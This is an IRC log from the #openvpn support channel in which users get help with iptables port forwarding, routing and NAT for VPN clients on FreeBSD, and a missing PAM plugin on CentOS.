14:20 -!- d3c [~d3c@x1-6-9c-d3-6d-c6-23-02.k965.webspeed.dk] has quit [Quit: Sleep]
14:33 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
14:40 -!- laner [~Lane@24.51.142.38] has joined #openvpn
14:51 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
14:54 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Ping timeout: 276 seconds]
14:54 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 276 seconds]
14:54 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 276 seconds]
14:54 -!- nutron|w [~nutron@24.67.96.21] has joined #openvpn
14:57 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
15:03 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
15:10 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Read error: Connection reset by peer]
15:13 < Pei> Hello friends
15:13 < Pei> it's your good friend sheldon cooper phd....
15:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 264 seconds]
15:15 -!- Dat [dat@gotpot.org] has joined #openvpn
15:16 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
15:16 < Pei> I would like to know, how I need to form an iptables command to let me forward a port from my VPN server to my VPN client from the VPN main IP, I would like to forward 7997 to the internal 10.1.10.2 on 198.23.248.150
15:17 < Pei> how to form*
15:17 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
15:18 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
15:18 -!- mode/#openvpn [+v s7r] by ChanServ
15:19 < Pei> iptables -t nat -A PREROUTING -d 198.23.248.150 -p tcp --dport 7997-j DNAT --o-destination 10.1.10.2
15:19 < Pei> doesn;'t seem to do it
15:20 < Pei> iptables -t nat -A PREROUTING -d 198.23.248.150 -p tcp --dport 7997 -j DNAT --o-destination 10.1.10.2 even
15:20 < Pei> iptables -t nat -A PREROUTING -d 198.23.248.150 -p tcp --dport 7997 -j DNAT --to-destination 10.1.10.2 even
15:20 < Pei> sorry
15:20 < Pei> damn insert key
15:21 -!- troyt [~troyt@2001:1938:240:2000::3] has quit [Ping timeout: 240 seconds]
15:22 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
15:22 -!- mode/#openvpn [+o dazo_afk] by ChanServ
15:22 -!- dazo_afk is now known as dazo
15:22 < Pei> hey dazo
15:22 < Pei> yer an op here eh>
15:22 < Pei> maybe you can help me?
15:23 < Dat> Pei: perhaps you need to enable ip_forward?
15:23 < Pei> yeah i did that... afaik
15:23 < Pei> root@insanity:~# cat /proc/sys/net/ipv4/conf/venet0/forwarding
15:23 < Pei> 1
15:24 < Pei> root@insanity:~# cat /proc/sys/net/ipv4/ip_forward
15:24 < Pei> 1
15:24 < Pei> maybe i'm missing something else here
15:25 < Dat> Maybe you need some rules for your vpn interface?
15:26 < Dat> tcpdump & iptables log might resolve your issue
15:26 < Pei> maybe, but i would have no idea what rules i would need
15:26 < rob0> The frozentux iptables tutorial does a good job of explaining on the page about DNAT. Also, Netfilter questions belong in #Netfilter, this is #openvpn.
15:27 < Pei> yes but i asked in here because it's from/to vpn server/client i want forwarded
15:27 < rob0> My guess would be "triangle routing", the iptables machine is not remaining in the packet path, which means SNAT is required.
15:28 < rob0> Netfilter questions belong in #Netfilter, see also the #Netfilter channel FAQ.
15:28 < Pei> can you tell me how to form that iptables command?
15:36 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has quit [Read error: Operation timed out]
15:36 -!- laner [~Lane@24.51.142.38] has joined #openvpn
15:37 -!- Eagleman7 [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:40 -!- laner [~Lane@24.51.142.38] has quit [Client Quit]
15:42 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
15:44 -!- rob0 [rob0@harrier.slackbuilds.org] has joined #openvpn
15:44 -!- rob0 [rob0@harrier.slackbuilds.org] has quit [Changing host]
15:44 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
15:44 < EugeneKay> No, we can't.
15:44 < EugeneKay> !iptables
15:44 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf
15:44 <@vpnHelper> or iptables or (#4) These are just the basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You may try #netfilter
15:44 < EugeneKay> See #4 ^
15:44 < EugeneKay> !101
15:44 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:45 < Pei> okay sorry to have bothered you then
15:49 -!- laner [~Lane@24.51.142.38] has joined #openvpn
15:50 -!- mattock is now known as mattock_afk
16:01 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
16:03 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Ping timeout: 256 seconds]
16:04 -!- speed_racer81 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has quit [Ping timeout: 248 seconds]
16:09 -!- laner [~Lane@24.51.142.38] has joined #openvpn
16:14 -!- mback2k_ [sbnc@2a00:1828:2000:378:1337:0:59ee:5431] has quit [Ping timeout: 245 seconds]
16:15 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
16:17 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
16:20 -!- mback2k_ [sbnc@89.238.84.46] has joined #openvpn
16:20 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
16:21 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
16:24 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has quit [Ping timeout: 245 seconds]
16:26 -!- KiNgMaR [~ingmar@2a00:1828:2000:289::cafe:d00d] has joined #openvpn
16:31 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Remote host closed the connection]
16:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:34 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Client Quit]
16:35 -!- dvl-- [~dan@nyi.unixathome.org] has quit [Changing host]
16:35 -!- dvl-- [~dan@pdpc/supporter/active/dvl] has joined #openvpn
16:37 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
16:39 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
16:43 -!- laner [~Lane@24.51.142.38] has joined #openvpn
16:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
16:51 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has quit [Remote host closed the connection]
16:51 -!- Airwave [~Airwave@94-246-37.45.3p.ntebredband.no] has joined #openvpn
16:58 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
17:18 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
17:18 -!- MariusIT2 [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Quit: Nettalk6 - www.ntalk.de]
17:19 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
17:21 -!- laner [~Lane@24.51.142.38] has joined #openvpn
17:24 -!- laner [~Lane@24.51.142.38] has quit [Client Quit]
17:26 -!- michaelhart_ [~michaelha@162.209.54.120] has joined #openvpn
17:27 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:28 -!- michaelhart [~michaelha@192-0-240-94.cpe.teksavvy.com] has quit [Ping timeout: 252 seconds]
17:28 -!- michaelhart_ is now known as michaelhart
17:42 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Operation timed out]
18:02 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
18:02 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has quit [Quit: ChatZilla 0.9.90 [Firefox 21.0/20130511120803]]
18:04 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 264 seconds]
18:08 -!- laner [~Lane@24.51.142.38] has joined #openvpn
18:08 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
18:11 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
18:18 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Read error: Operation timed out]
18:22 -!- master_of_master [~master_of@p4FF241EB.dip0.t-ipconnect.de] has joined #openvpn
18:23 -!- master_o1_master [~master_of@p4FF24E89.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:35 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
18:39 -!- rOOb [~zero@unaffiliated/devicezer0] has joined #openvpn
18:43 < rOOb> Hello all. Im having some issues with getting my openvpn to work. I've installed it on freebsd and generated my keys and I'm using this config http://pastebin.com/3C00u5JJ . I'm able to connect to the vpn via openvpn client....but when connected the client cannot ping stuff like yahoo.com nor any local servers on the same lan as the openvpn server is on. I'm using 10.8.0.0 range for the vpn
18:43 < rOOb> and I can ping the server(10.8.0.1) from the client but I cannot ping the client(10.8.0.6) frome the server. I've enabled packet forwarding(net.inet.ip.forwarding) but I still have no luck. Any ideas?
18:57 -!- WarDriver [~WarDriver@unaffiliated/wardriver] has quit [Ping timeout: 252 seconds]
19:07 -!- WarDriver [~WarDriver@unaffiliated/wardriver] has joined #openvpn
19:22 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has joined #openvpn
19:37 < Poster> rOOb: make sure you're client is getting routes to the networks of interest
19:38 < Poster> when accessing resources on the Internet, you will likely need to implement some type of NAT as the packets leave, you treat the VPN clients as you do LAN clients
19:38 < rOOb> hmm
19:39 < Poster> it looks like the routing is there, can you ping the LAN side of the OpenVPN serveR?
19:41 < rOOb> I can ping the servers lan ip(192.168.1.20) and vpn assigned ip(10.8.0.1). But I cannot ping any other computers on the lan(192.168.1.x)
19:41 < rOOb> From the server I cannot ping the vpn client(10.8.0.6)
19:41 < Poster> ok is the VPN server also the default gateway for the LAN?
19:42 < rOOb> Its not. Its behind a normal home router.
19:42 < rOOb> lan gw is 192.168.1.1
19:42 < Poster> ok so on your home router, you're going to need to create a static route to 10.8.0.0/24 via 192.168.1.20
19:43 < rOOb> Hmm
19:43 < rOOb> Ok
19:43 < rOOb> Ill have to see about that.
19:43 < Poster> most support it, you may have to jump around to find it though
19:43 < rOOb> Yea
19:44 < rOOb> Already googling my router + static route :)
19:44 < Poster> it might be in an "advanced" section
19:47 < rOOb> Yea....hmmm...my router has serveral diff places to put routes...on the coax wan interface or the home/office network interface
19:47 < rOOb> No sure where I would put it
19:54 < Poster> LAN side
19:54 < Poster> home/office probably
19:54 < Poster> whatever is 192.168.1.1
19:55 < Poster> I'm assuming it's 192.168.1.1, some ISPs set it as 192.168.1.254
19:55 < rOOb> yea. I just made a new route. destination is 10.8.0.0/24 gateway is 192.168.1.20....the home server's ip addr running openvpn
19:55 < Poster> ok now try pinging LAN clients from the VPN client
19:56 < rOOb> Ah. Yea. Gotta fire it back up. I have a stupid setup to test the vpn from a outside ip. Using my ipad to connect my laptop to my ipads inet...then connecting to the vpn at home lol
19:56 < Poster> gotcha
19:57 < hjohnson> oh, dang, forgot that openvpn was set to push the dns servers to the client.. sucks when your DNS server is on the far side of a nearly saturated satellite link :P
19:57 < EugeneKay> Satellite. Hah!
19:59 < rOOb> damn. pings to other lan machines still time out
19:59 < rOOb> :|
20:00 < rOOb> Cant ping google/yahoo either
20:00 < Poster> ok what is netwoek between ipad and laptop?
20:00 < rOOb> For domain names it cannot look them up. If i try to ping a google ip...it times out
20:00 < Poster> one thing at a time, what is the network addresses between the ipad and laptop?
20:00 < rOOb> Ipad is using my cellular data(verizon) and my laptop is wirelessly connected to the ipad
20:01 < rOOb> I can ping google/yahoo fine when Im tethered. When I fire up the vpn...pings stop working
20:01 < rOOb> Ummm
20:01 < rOOb> let me see
20:01 < Poster> right, where I am going with this is that the network between ipad and laptop may ALSO be 192.168.1.x
20:01 < Poster> at which point routing to that same subnet across  the VPN is not going to work without more modification
20:01 < rOOb> its got both a ipv6 ip and 172.20.10.2
20:02 < Poster> ok so that shouldn't conflict
20:02 < Poster> can you ping 192.168.1.1 from the OpenVPN client?
20:03 < rOOb> nope
20:03 < rOOb> can ONLY ping the openvpn servers ip(192.168.1.20) and the ip openvpn assigns(10.8.0.1)
20:04 < hjohnson> EugeneKay: well, given that i'm VPNing into a really remote site... it sort of goes without saying.
20:04 < Poster> what OS is the laptop?
20:05 < rOOb> I just noticed in the openvpn client. The openvpn interface has a ip of 10.8.0.6 and a gateway of 10.8.0.5. From the client I cannot ping the gateway ip(10.8.0.5)
20:05 < rOOb> the client laptop is running windows 7 x64
20:05 < rOOb> the openvpn server is running freebsd 9.1
20:05 < Poster> ok what are the OSes on the LAN?
20:05 < rOOb> and also the netmask on the client is 255.255.255.252
20:06 < rOOb> Linux, windows, freebsd
20:06 < Poster> ok so on a LAN Linux host, type:
20:06 < Poster> sudo tcpdump -i eth0 host 10.8.0.6
20:07 < Poster> then from your laptop, try to ping the linux host by IP address
20:07 < rOOb> k
20:07 < rOOb> no output
20:08 < rOOb> laptop was pinging the ip and nothing was output on the tcpdump
20:08 < Poster> is your FreeBSD host running pf, ipfw, etc?
20:08 < rOOb> Its a vanilla install I dont think I even loaded the pf module or any others
20:11 < rOOb> Yea no pfYea
20:11 < rOOb> err
20:11 < rOOb> Yea no firewall is loaded
20:12 < Poster> can you ping the freebsd OpenVPN host from the Linux host?
20:13 < rOOb> 64 bytes from 192.168.1.20: icmp_req=1 ttl=64 time=0.330 ms
20:13 < rOOb> yea
20:13 < rOOb> and vice versa
20:17 < Poster> ok from your Linux host, can you ping 10.8.0.5 ?
20:17 < rOOb> no but it output this:
20:17 < rOOb> ping 10.8.0.5
20:17 < rOOb> PING 10.8.0.5 (10.8.0.5) 56(84) bytes of data.
20:17 < rOOb> From 192.168.1.1: icmp_seq=1 Redirect Host(New nexthop: 192.168.1.20)
20:18 < rOOb> So the linux box is aware it should be redirected through my openvpn box
20:18 < rOOb> That seems like a good thing! lol
20:19 < rOOb> I dont think ANY computer has 10.8.0.5 as a ip.
20:19 < rOOb> freebsd box: inet 10.8.0.1 --> 10.8.0.2 netmask 0xffffffff
20:19 < rOOb> windows client: 10.8.0.6
20:20 < rOOb> So no idea where inet 10.8.0.5 is coming from...
20:28 < Poster> it's a /30 being pushed to the OpenVPN client
20:28 < Poster> can you ping 10.8.0.1 from the Linux host?
20:29 < rOOb> yea
20:29 < rOOb> I can ping 10.8.0.1
20:29 < rOOb> So in my config I have both: push "redirect-gateway def1" and push "redirect-gateway"
20:30 < rOOb> I was testing things out and commented out: push "redirect-gateway" and restarted the vpn. Looking now on the client the default gateway of "10.8.0.5" is no longer there
20:30 < rOOb> There is no gateway set in the interface on the client
20:30 < rOOb> But am still unable to ping anything other then the openvpn server
20:35 < Poster> ok try replacing your redirect-gateway lines with
20:35 < Poster> push "redirect-gateway def1 bypass-dhcp"
20:35 < Poster> just comment out what you currently have, add this and restart the openvpn daemon
20:35 < rOOb> ok
20:38 < Poster> be sure to restart the OpenVPN client as well
20:38 < rOOb> Yea
20:38 < rOOb> Stupid ipad is acting funky
20:38 < Poster> it should self reset when the server goes away
20:40 < pekster> bypass-dhcp is *only* ever needed when the DHCP server is not on the client's L2 link
20:40 < pekster> Beyond that usecase it's pointless
20:40 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
20:41 < rOOb> Poster ok so using that option results in no defaut gateway being set on the client
20:41 < pekster> def1 doesn't do anything with the default gateway, by design
20:41 < pekster> !redirect
20:41 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
20:41 <@vpnHelper> http://ircpimps.org/redirect.png
20:41 < Poster> I don't think it's default, pretty sure it breaks out to 0.0.0.0/1 and 128.0.0.0/1
20:42 < pekster> That's everything you need, and you even get a pretty flowchart
20:42 < rOOb> Client cannot hmm
20:42 < rOOb> hmm
20:42 < rOOb> !def1
20:42 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
20:42 < rOOb> !ipforward
20:42 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
20:43 < rOOb> !nat
20:43 <@vpnHelper> "nat" is (#1) http://openvpn.net/howto.html#redirect for an explanation of NAT as it applies to openvpn or (#2) http://www.secure-computing.net/wiki/index.php/OpenVPN/FAQ#Traffic_forwarding_doesn.27t_work_when_using_client_specific_access_rules or (#3) dont forget to turn on ip forwarding or (#4) please choose between !linnat !winnat and !fbsdnat for specific howto
20:43 < rOOb> !fbsdipforward
20:43 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
20:43 < rOOb> !fbsdnat
20:43 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
20:43 < rOOb> does pf need to be enabled?
20:44 < rOOb> Right now the box has no fw running
20:44 <@krzee> doesnt have to be pf
20:44 < Poster> possibly for the Internet traffic
20:44 <@krzee> could be ipf or ipfw
20:44 < pekster> Not if you're doing the NAT upstream
20:44 < Poster> not sure how your router copes with NAT
20:44 < rOOb> But a fw DOES need to be active?
20:44 <@krzee> or that ^
20:44 < pekster> Not technically, no. It's wise to run one, but not required
20:45 < pekster> (since it's an internal system I suppose you could get away without one. I never run hosts outside of a lab without a firewall)
20:45 < rOOb> Ah yea. This box is behind nat and only my own machines are on the lan...so I usually dont run a fw. I just wastn sure if I needed one to do something like pass packets.
20:46 < Poster> no pf + ip forwaring enabled = passing everything
20:46 < rOOb> gotcha
20:47 < rOOb> So..I really have no idea whats not working. Everything looks ok to me....pita
20:47 < Poster> pf can still pass what you want, or everything, it just gives you control to block, allow and manipulate it
20:47 < Poster> ok on your FreeBSD OpenVPN host, whichever adapter is on your LAN try
20:47 < pekster> Poster: If it's not working, then had you followed the flowchart you'd know *why* it's not working
20:48 < rOOb> :o
20:48 < rOOb> my god
20:48 < Poster> alrighty
20:48 < rOOb> if its that stupid
20:48 < rOOb> Imma punch myself
20:50 < pekster> I suppose the one complicating factor is your router; you either need to get the VPN route added on it correctly, or NAT on the VPN server system to its own address
20:51 < Poster> we set that already
20:52 < pekster> And you verified it was added correctly without seeing it? Amazing ;)
20:52 < pekster> My point is the flowchart doesn't cover it, hence it's a complicating factor. I saw what you said above.
20:55 < Poster> [21:17:56] <rOOb> PING 10.8.0.5 (10.8.0.5) 56(84) bytes of data.
20:55 < Poster> [21:17:56] <rOOb> From 192.168.1.1: icmp_seq=1 Redirect Host(New nexthop: 192.168.1.20)
20:56 < pekster> wtf are you doing pinging .5 for? It's a virutal address
20:56 < pekster> Also, stop using net30 mode unless you are actually intending to support Windows clients using a 2.0.9 or older version (that's over 6 years out of date)
20:56 < pekster> !/30
20:56 <@vpnHelper> "/30" is (#1) Default behaviour assigns a /30 subnet(4 addresses) to each peer. See http://goo.gl/6vemm for background or (#2) you can avoid this behavior by reading !topology or (#3) by default, first client is .6, then .10 .14 .18 etc or (#4) use openvpn --show-valid-subnets to see the subnets you can use in net30 or (#5) tl;dr Windows sucks, use --topology subnet in your server.conf
20:57 < rOOb> nope wasnt what I thought :|
20:59 < rOOb> So using that flow chart. Im failing at "is nat enabled on the vpn subnet"....not sure how I would check that
21:00 < pekster> You need to NAT before it hits your public address. Presumably your router is handling that
21:00 < rOOb> So that would be the static route I added to my router?
21:00 < pekster> No, that would be how your router is designed to function
21:01 -!- erry [erry@freenode/staff/erry] has quit [Read error: Connection reset by peer]
21:01 -!- erry [erry@freenode/staff/erry] has joined #openvpn
21:02 < rOOb> Ok. I guess I'm just in to far over my head to make sense of this. I didnt realize I was gonna run into so many issues. I think I'm going to give up for the night. Thanks for the help everyone :)
21:21 -!- jive [~jive@c-69-253-117-190.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
21:24 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
21:27 -!- Donks [~donks@66-189-85-73.static.oxfr.ma.charter.com] has joined #openvpn
21:28 < Donks> Evening all,"Im getting the error, could not load plugin shared object .../openvpn-auth-pam.so" , trying to run openvpn 2.3.1 on centos 6.4, has anyone encountered this?
21:34 < Poster> is that access server?
21:34 -!- dvl-- is now known as dvl
21:35 < Donks> pardon, im not totally sure what "access server" is.
21:36 < Poster> I've not seen that module, which doesn't mean much, I was just wondering if you were setting up the access server instead of the community version
21:37 -!- michaelhart_ [~michaelha@192-0-240-94.cpe.teksavvy.com] has joined #openvpn
21:38 < Poster> ok looks like I was in left field, did you compile openvpn from source?
21:38 < pekster> Poster: It's a stock module shipped in the official sources
21:39 < Donks> i ran yum install openvpn and then started creating the certs and dh, when i tried to start service [FAILED], log/messages revealed that module issue
21:40 -!- michaelhart [~michaelha@162.209.54.120] has quit [Ping timeout: 252 seconds]
21:40 -!- michaelhart_ is now known as michaelhart
21:41 < Donks> i had to download the "easy-rsa" folder from github and copy it to /etc/open vpn, but i would assume i did not "compile openvpn from source"
21:42 < Poster> yeah I was off on that one, I'd never used it before
21:54 < Donks> ok poster, i am on the community edition, so i can somewhat narrow my search field down :)
21:54 < pekster> Donks: Sounds like a bad path to the module (I'd use full paths when referencing plugins) or a bad build from wherever you installed it with missing/bad dynamic links (see `ldd /path/to/openvpn-plugin-auth-pam.so` or such and verify each is present)
21:56 < Donks> ty
22:01 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:05 -!- Dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:34 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has quit [Ping timeout: 252 seconds]
22:35 -!- LeLutin [~lelutin@vps-1036922-2706.manage.myhosting.com] has joined #openvpn
22:58 -!- laner [~Lane@24.51.142.38] has joined #openvpn
23:07 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
23:08 -!- laner [~Lane@24.51.142.38] has joined #openvpn
23:11 -!- Varazir_ is now known as Varazir
23:24 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
23:24 -!- laner [~Lane@24.51.142.38] has quit [Quit: Computer has gone to sleep.]
--- Day changed Thu May 30 2013
00:07 -!- Dat_ [dat@gotpot.org] has joined #openvpn
00:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
00:08 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 264 seconds]
00:08 -!- Dat_ is now known as Dat
00:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:11 -!- ThePortableInstr [~Sun@107.52.47.228] has joined #openvpn
00:13 -!- Inst [~Sun@unaffiliated/inst] has quit [Ping timeout: 256 seconds]
00:13 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 246 seconds]
00:16 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
00:17 -!- Inst [~Sun@unaffiliated/inst] has joined #openvpn
00:20 -!- ThePortableInstr [~Sun@107.52.47.228] has quit [Ping timeout: 268 seconds]
00:21 -!- Dat_ [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
00:22 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 246 seconds]
00:22 -!- Dat_ is now known as Dat
00:23 < Donks> repoting in, once i fovcused on directory paths, and adjusting a few paths in the server config, my issue with incorrect directories is resolved and service openvpn is [OK]
00:23 -!- ThePortableInstr [~Sun@107.56.111.110] has joined #openvpn
00:25 < Donks> although i did have to use and download a different rpm of openvpn-2.3.1-3, and that fixed the missing library plugin too **
00:27 -!- Inst [~Sun@unaffiliated/inst] has quit [Ping timeout: 264 seconds]
00:27 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Operation timed out]
00:28 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:28 -!- Dat_ [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
00:28 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 264 seconds]
00:28 -!- Dat_ is now known as Dat
00:32 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 260 seconds]
00:33 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
00:35 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 245 seconds]
00:35 -!- Dat [~dat@gotpot.org] has joined #openvpn
00:40 -!- Dat_ [dat@gotpot.org] has joined #openvpn
00:41 -!- Dat [~dat@gotpot.org] has quit [Ping timeout: 246 seconds]
00:41 -!- Dat_ is now known as Dat
00:47 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 264 seconds]
00:50 -!- Dat [dat@gotpot.org] has joined #openvpn
00:54 -!- Dat [dat@gotpot.org] has quit [Read error: Connection reset by peer]
00:55 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
00:58 -!- laner [~Lane@24.51.142.38] has joined #openvpn
01:01 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 246 seconds]
01:03 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
01:13 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Read error: Operation timed out]
01:13 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
01:18 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Ping timeout: 246 seconds]
01:19 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has joined #openvpn
01:24 -!- Dat [dat@2605:6400:2:fed5:22:e3a1:1ab3:2845] has quit [Read error: Connection reset by peer]
01:25 -!- Dat [dat@gotpot.org] has joined #openvpn
01:27 -!- laner [~Lane@24.51.142.38] has quit [Quit: Textual IRC Client: http://www.textualapp.com/]
01:27 -!- JAVACODER [~JAVACODER@2.190.45.170] has joined #openvpn
01:32 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
01:33 -!- Dat [dat@gotpot.org] has joined #openvpn
01:39 -!- Dat [dat@gotpot.org] has quit [Ping timeout: 260 seconds]
01:44 -!- Dat [dat@gotpot.org] has joined #openvpn
01:46 -!- mattock_afk is now known as mattock
02:08 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:32 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
02:33 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 252 seconds]
03:07 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-fhvcrggkllqjibom] has quit [Ping timeout: 240 seconds]
03:14 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has joined #openvpn
03:25 -!- vraa__ [~speed_rac@173.45.218.54] has joined #openvpn
03:26 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
03:29 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 264 seconds]
03:31 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
03:40 -!- zarrsh_ [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has quit [Ping timeout: 264 seconds]
03:40 -!- zarrsh [~zarrsh@cpe-65-27-192-220.cinci.res.rr.com] has joined #openvpn
03:41 -!- flobro [~silence@c-24-19-113-90.hsd1.wa.comcast.net] has quit [Ping timeout: 264 seconds]
04:08 -!- gekko_ [~jjk@78.157.103.6] has joined #openvpn
04:13 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
04:18 -!- ade_b [~Ade@94.125.18.11] has joined #openvpn
04:18 -!- ade_b [~Ade@94.125.18.11] has quit [Changing host]
04:18 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
05:02 -!- mattock is now known as mattock_afk
05:04 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-ndekrniogwzhijsl] has joined #openvpn
